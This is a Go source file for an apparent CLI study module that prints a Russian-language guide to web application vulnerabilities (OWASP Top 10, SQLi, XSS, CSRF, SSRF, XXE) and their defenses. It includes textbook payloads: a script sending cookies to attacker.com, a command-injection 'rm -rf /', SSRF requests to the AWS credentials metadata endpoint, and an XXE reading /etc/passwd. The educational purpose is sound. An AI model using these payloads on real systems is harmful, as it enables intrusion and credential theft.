241 lines
11 KiB
Go
Executable file
241 lines
11 KiB
Go
Executable file
package infosecmodules
|
||
|
||
import (
|
||
"rubric/utils"
|
||
)
|
||
|
||
var WebModule = Module{
|
||
Key: "web",
|
||
Aliases: []string{"w", "owasp", "webapp"},
|
||
Title: "Безопасность веб-приложений",
|
||
Description: "OWASP Top 10, XSS, SQLi, CSRF, SSRF, XXE, инъекции и защита",
|
||
Run: showWeb,
|
||
}
|
||
|
||
func showWeb() {
|
||
utils.Header("InfoSec — Безопасность веб-приложений")
|
||
|
||
utils.Section("OWASP Top 10 (2021)")
|
||
utils.Code(`A01 Broken Access Control — нарушение контроля доступа (IDOR, privilege escalation)
|
||
A02 Cryptographic Failures — слабая/отсутствующая криптография
|
||
A03 Injection — инъекции (SQL, NoSQL, команды, LDAP)
|
||
A04 Insecure Design — небезопасный дизайн
|
||
A05 Security Misconfiguration — неправильная конфигурация
|
||
A06 Vulnerable Components — уязвимые зависимости
|
||
A07 Auth Failures — ошибки аутентификации и сессий
|
||
A08 Software & Data Integrity — нарушение целостности ПО и данных
|
||
A09 Logging & Monitoring Failures — недостаточное логирование
|
||
A10 SSRF — Server-Side Request Forgery`)
|
||
|
||
utils.Section("A03 Injection — SQL Injection")
|
||
utils.Code(`SQL Injection — внедрение SQL-кода через пользовательский ввод.
|
||
|
||
Уязвимый код:
|
||
query = "SELECT * FROM users WHERE name='" + name + "'"
|
||
# Ввод: ' OR '1'='1
|
||
# Результат: SELECT * FROM users WHERE name='' OR '1'='1'
|
||
|
||
Типы SQLi:
|
||
In-band — ответ видно в ответе приложения
|
||
Error-based — ошибки раскрывают структуру БД
|
||
Union-based — UNION SELECT для получения данных
|
||
Blind — нет прямого ответа, только true/false или задержки
|
||
Boolean-based — условие true/false
|
||
Time-based — SLEEP() для подтверждения
|
||
Out-of-band — данные через DNS/HTTP запросы
|
||
|
||
Примеры атак:
|
||
' OR '1'='1' -- # обход авторизации
|
||
' UNION SELECT 1,user(),3 -- # получить имя БД-пользователя
|
||
'; DROP TABLE users; -- # разрушительная (редко работает)
|
||
' AND 1=2 UNION SELECT table_name FROM information_schema.tables --
|
||
|
||
Защита:
|
||
1. Параметризованные запросы (Prepared Statements) — ГЛАВНЫЙ метод
|
||
2. ORM (SQLAlchemy, Hibernate, GORM)
|
||
3. Хранимые процедуры
|
||
4. Экранирование (последний выбор!)
|
||
5. WAF
|
||
6. Принцип минимальных привилегий для БД-пользователя
|
||
|
||
# Безопасный код (Python):
|
||
cursor.execute("SELECT * FROM users WHERE name = %s", (name,))
|
||
|
||
# Безопасный код (Go):
|
||
db.Query("SELECT * FROM users WHERE name = ?", name)`)
|
||
|
||
utils.Section("A03 Injection — другие типы")
|
||
utils.Code(`NoSQL Injection (MongoDB):
|
||
Уязвимо: db.users.find({username: req.body.username})
|
||
Атака: {"username": {"$gt": ""}} # всегда true
|
||
Защита: валидация типов, mongoose.sanitize()
|
||
|
||
Command Injection (OS Injection):
|
||
Уязвимо: os.system("ping " + host)
|
||
Атака: "127.0.0.1; rm -rf /"
|
||
Защита: subprocess.run(["ping", host], shell=False) # НЕ shell=True!
|
||
|
||
LDAP Injection:
|
||
Атака на LDAP-запросы (AD аутентификация)
|
||
Защита: экранирование спецсимволов LDAP
|
||
|
||
XPath Injection:
|
||
Как SQL, но для XML/XPath
|
||
Защита: параметризованные XPath запросы
|
||
|
||
Template Injection (SSTI):
|
||
Уязвимо: render_template_string("Hello " + name)
|
||
Атака: name = "{{7*7}}" → 49 (Jinja2 выполняет код)
|
||
Опасность: RCE (Remote Code Execution)
|
||
Защита: никогда не рендерить пользовательский ввод как шаблон`)
|
||
|
||
utils.Section("XSS — Cross-Site Scripting")
|
||
utils.Code(`XSS — внедрение скриптов в страницы, просматриваемые другими пользователями.
|
||
Выполняется в браузере жертвы.
|
||
|
||
Типы:
|
||
Reflected XSS — в параметре запроса, не сохраняется
|
||
URL: /search?q=<script>alert(1)</script>
|
||
|
||
Stored (Persistent) XSS — сохраняется в БД/файлах
|
||
Комментарий: <script>document.cookie</script>
|
||
Опаснее: видят все пользователи
|
||
|
||
DOM-based XSS — через DOM, не проходит через сервер
|
||
document.write(location.hash)
|
||
|
||
Что может сделать XSS:
|
||
- Украсть cookies (document.cookie)
|
||
- Кейлоггинг (capture input)
|
||
- Перенаправление (window.location)
|
||
- Изменить страницу (phishing)
|
||
- CSRF от имени жертвы
|
||
|
||
Атака (кража cookies):
|
||
<script>
|
||
new Image().src="https://attacker.com/steal?c="+document.cookie
|
||
</script>
|
||
|
||
Защита:
|
||
1. Content Security Policy (CSP) — главная защита
|
||
2. Экранирование вывода (output encoding)
|
||
HTML: < > & "
|
||
3. HttpOnly cookies (нельзя читать через JS)
|
||
4. X-XSS-Protection заголовок (устарел)
|
||
5. Sanitize библиотеки (DOMPurify для JS)
|
||
|
||
# CSP заголовок:
|
||
Content-Security-Policy:
|
||
default-src 'self';
|
||
script-src 'self' 'nonce-random123';
|
||
style-src 'self' 'unsafe-inline';
|
||
img-src 'self' data: https:;
|
||
connect-src 'self' https://api.example.com;
|
||
frame-ancestors 'none'`)
|
||
|
||
utils.Section("CSRF — Cross-Site Request Forgery")
|
||
utils.Code(`CSRF — выполнение действий от имени аутентифицированного пользователя.
|
||
Браузер автоматически отправляет cookies с любым запросом.
|
||
|
||
Атака:
|
||
1. Alice вошла в bank.com (cookies в браузере)
|
||
2. Alice открывает attacker.com
|
||
3. Страница attacker.com:
|
||
<img src="https://bank.com/transfer?to=hacker&amount=1000">
|
||
4. Браузер отправляет запрос с cookies Alice!
|
||
5. Перевод выполнен.
|
||
|
||
Защита:
|
||
1. CSRF-токен — уникальный токен в форме/заголовке
|
||
<input type="hidden" name="csrf_token" value="random_token">
|
||
Сервер проверяет токен при каждом POST
|
||
|
||
2. SameSite Cookie:
|
||
Set-Cookie: session=abc; SameSite=Strict # только same-site
|
||
Set-Cookie: session=abc; SameSite=Lax # кросс-сайт только GET
|
||
Set-Cookie: session=abc; SameSite=None; Secure # везде (CSRF-уязвимо)
|
||
|
||
3. Проверка Origin/Referer заголовка
|
||
|
||
4. Double Submit Cookie
|
||
|
||
5. Custom request header (X-Requested-With: XMLHttpRequest)
|
||
Браузеры не добавляют кастомные заголовки кросс-оригин без CORS`)
|
||
|
||
utils.Section("SSRF — Server-Side Request Forgery")
|
||
utils.Code(`SSRF — сервер делает запрос к произвольному URL, указанному атакующим.
|
||
|
||
Атака:
|
||
# Уязвимое API: POST /fetch {"url": "..."}
|
||
|
||
# Доступ к внутренним сервисам:
|
||
{"url": "http://192.168.1.1/admin"}
|
||
{"url": "http://localhost:8080/actuator"}
|
||
|
||
# AWS metadata (получить credentials):
|
||
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
|
||
|
||
# Сканирование внутренней сети:
|
||
{"url": "http://10.0.0.1:3306"}
|
||
|
||
Защита:
|
||
1. Whitelist разрешённых URL/доменов
|
||
2. Блокировать приватные IP диапазоны
|
||
3. DNS rebinding защита
|
||
4. Ограничить исходящие соединения (egress firewall)
|
||
5. AWS IMDSv2 (требует токен для metadata)`)
|
||
|
||
utils.Section("A01 Broken Access Control — IDOR")
|
||
utils.Code(`IDOR (Insecure Direct Object Reference) — прямые ссылки на объекты без проверки прав.
|
||
|
||
Атака:
|
||
GET /api/users/1001/profile # твой профиль
|
||
GET /api/users/1002/profile # чужой профиль (просто меняем ID!)
|
||
GET /api/orders/5678/invoice # чужой счёт
|
||
|
||
Защита:
|
||
1. Всегда проверять авторизацию к конкретному объекту
|
||
2. Использовать GUID/UUID вместо последовательных ID
|
||
3. Indirect Reference Map (пользователь видит только свои ID)
|
||
4. Тестировать с разными пользователями!
|
||
|
||
Privilege Escalation:
|
||
Горизонтальная — доступ к данным другого пользователя
|
||
Вертикальная — получение прав admin
|
||
|
||
# Пример правильной проверки (Python):
|
||
order = Order.get(order_id)
|
||
if order.user_id != current_user.id:
|
||
return 403 # Forbidden`)
|
||
|
||
utils.Section("Другие важные уязвимости")
|
||
utils.Code(`XXE (XML External Entity):
|
||
Уязвимо: парсер обрабатывает внешние сущности
|
||
Атака:
|
||
<?xml version="1.0"?>
|
||
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||
<root>&xxe;</root>
|
||
Защита: отключить XXE в парсере, использовать JSON
|
||
|
||
Path Traversal:
|
||
Атака: GET /download?file=../../../../etc/passwd
|
||
Защита: realpath + проверка что путь внутри разрешённой директории
|
||
|
||
Insecure Deserialization:
|
||
Атака: подделать сериализованный объект → RCE
|
||
Защита: не десериализовать непроверенные данные, подписывать объекты
|
||
|
||
Open Redirect:
|
||
Атака: /redirect?to=https://evil.com
|
||
Защита: whitelist разрешённых доменов для редиректа
|
||
|
||
Security Headers (важные HTTP заголовки):
|
||
Strict-Transport-Security: max-age=31536000; includeSubDomains
|
||
Content-Security-Policy: default-src 'self'
|
||
X-Frame-Options: DENY
|
||
X-Content-Type-Options: nosniff
|
||
Referrer-Policy: strict-origin-when-cross-origin
|
||
Permissions-Policy: camera=(), microphone=()`)
|
||
|
||
utils.Footer()
|
||
}
|